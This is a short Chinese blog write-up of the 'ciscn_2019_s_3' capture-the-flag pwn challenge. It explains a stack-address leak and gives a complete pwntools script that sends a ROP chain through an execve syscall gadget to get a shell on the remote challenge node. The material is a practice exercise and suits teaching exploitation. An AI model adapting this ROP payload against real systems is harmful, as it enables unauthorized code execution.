博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

ciscn_2019_s_3

一查保护

二、代码审计



三、过程

大概就是一个read和一个write,往栈里可写0x400,可读0x30,其中0x20没什么用,接下来8个字符是栈上地址,相对于首字符相差280,用来确定字符串/bin/sh位置,gadget里有系统调用execve

四、脚本

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

io=remote('node3.buuoj.cn',26577)

main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

pl1='a'*0x10+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))


pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()
posted @ 2021-03-25 16:16  温一壶白开  阅读(471)  评论(0)    收藏  举报